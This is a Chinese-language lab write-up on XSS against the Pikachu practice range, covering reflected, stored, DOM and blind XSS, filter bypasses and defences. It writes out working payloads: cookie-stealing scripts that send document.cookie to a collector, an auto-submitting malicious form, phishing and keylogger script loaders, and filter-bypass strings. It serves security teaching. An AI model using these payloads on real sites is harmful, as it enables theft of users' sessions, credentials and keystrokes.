Pikachu漏洞靶场系列之XSS
字数 1907 2025-08-18 11:39:19
XSS漏洞全面解析与实战教学
1. XSS概述
跨站脚本攻击(Cross-Site Scripting)简称为"XSS",是一种常见的Web安全漏洞。XSS漏洞在OWASP TOP10排名中长期位居前三,危害性极高。
XSS分类
- 反射型XSS:恶意脚本作为请求的一部分被服务器反射回客户端执行
- 存储型XSS:恶意脚本被永久存储在目标服务器上
- DOM型XSS:完全在客户端发生的XSS,不涉及服务器端处理
XSS防御原则
- 输入过滤:对用户输入进行严格过滤,阻止危险字符
- 输出转义:根据输出位置对内容进行适当转义处理
2. 反射型XSS实战
反射型XSS(Get)
- 发现输入框有字符长度限制,通过修改HTML的
maxlength属性绕过 - 构造Payload:
</p><script>alert(1)</script>
反射型XSS(Post)
- 登录系统(如使用admin/123456)
- 观察输入内容的拼接格式:
<p class="notice">who is 123,i don't care!</p> - 构造闭合Payload:
</p><script>alert(1)</script>
获取Cookie实战
- 搭建收集Cookie的后台(靶场已提供)
- 修改
post.html文件中的IP地址 - 构造恶意表单自动提交脚本:
<form method="post" action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value="<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
3. 存储型XSS实战
基础Payload
</p><script>alert(1)</script>
钓鱼攻击
- 修改
fish.php文件中的IP地址 - 注意删除
header(Location: ...)中的换行 - 插入恶意代码:
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
- 注意:PHP的HTTP认证机制仅在Apache模块方式运行时有效
键盘记录
- 修改
rk.js文件中的后台地址 - 插入恶意脚本:
<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>
- 跨域问题:需要在后台设置
header("Access-Control-Allow-Origin:*")
4. DOM型XSS实战
基础DOM型XSS
- 观察页面JS处理逻辑:
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
- 构造Payload:
#' onclick=alert(1)
DOM型XSS-x
- 观察URL变化和JS处理:
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
- 构造相同Payload:
#' onclick=alert(1)
5. XSS盲打
- 构造恶意代码插入后台:
<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
- 管理员查看后台时自动发送Cookie到攻击者服务器
6. XSS绕过技巧
过滤绕过
- 大小写混合:
<ScRipt>alert(1)</sCriPt> - 拼凑绕过:
<scri<script>pt>alert(1)</scr</script>ipt> - 注释干扰:
<scr<!--test-->ipt>alert(1)</sc<!--test-->ript>
htmlspecialchars绕过
- 了解函数行为:
$value = htmlspecialchars($_GET['value'], ENT_COMPAT);
- 参数说明:
- ENT_COMPAT:默认,仅编码双引号
- ENT_QUOTES:推荐,编码单双引号
- ENT_NOQUOTES:不编码任何引号
- 构造Payload:
x' onclick='alert(1)'
href输出XSS
- 使用javascript协议:
javascript:alert(1) - 防御:限制协议为http(s)并转义
JS输出XSS
- 方法一:闭合变量并注释
- 原代码:
$ms='xxx'; - Payload:
xxx'; alert(1); //
- 原代码:
- 方法二:闭合script标签
- Payload:
xxx'</script><script>alert(1)//
- Payload:
7. 高级技巧与防御
编码技巧
- 错误示例:URL编码在属性标签中不会解析
- ``
- 正确示例:使用HTML实体编码
- ``
同源策略与跨域
- 同源策略限制因素:协议、子域名、主机、端口
- 不受同源策略限制的标签:
- ``
<script src=""><link href=""><iframe src="">
- 跨域解决方案:
header("Access-Control-Allow-Origin: x.com");
8. 总结与防御建议
漏洞利用方式
- GET方式:构造恶意URL诱导点击
- POST方式:伪造自动提交表单窃取Cookie
全面防御方案
- 输入验证与过滤
- 输出编码与转义
- 使用Content Security Policy (CSP)
- 设置HttpOnly标志保护Cookie
- 实施X-XSS-Protection头部
- 使用现代框架的安全功能(如React的自动转义)
通过本教程,您应该全面掌握了XSS漏洞的原理、利用方式和防御措施。建议在实际环境中谨慎测试这些技术,仅用于合法的安全评估和教育目的。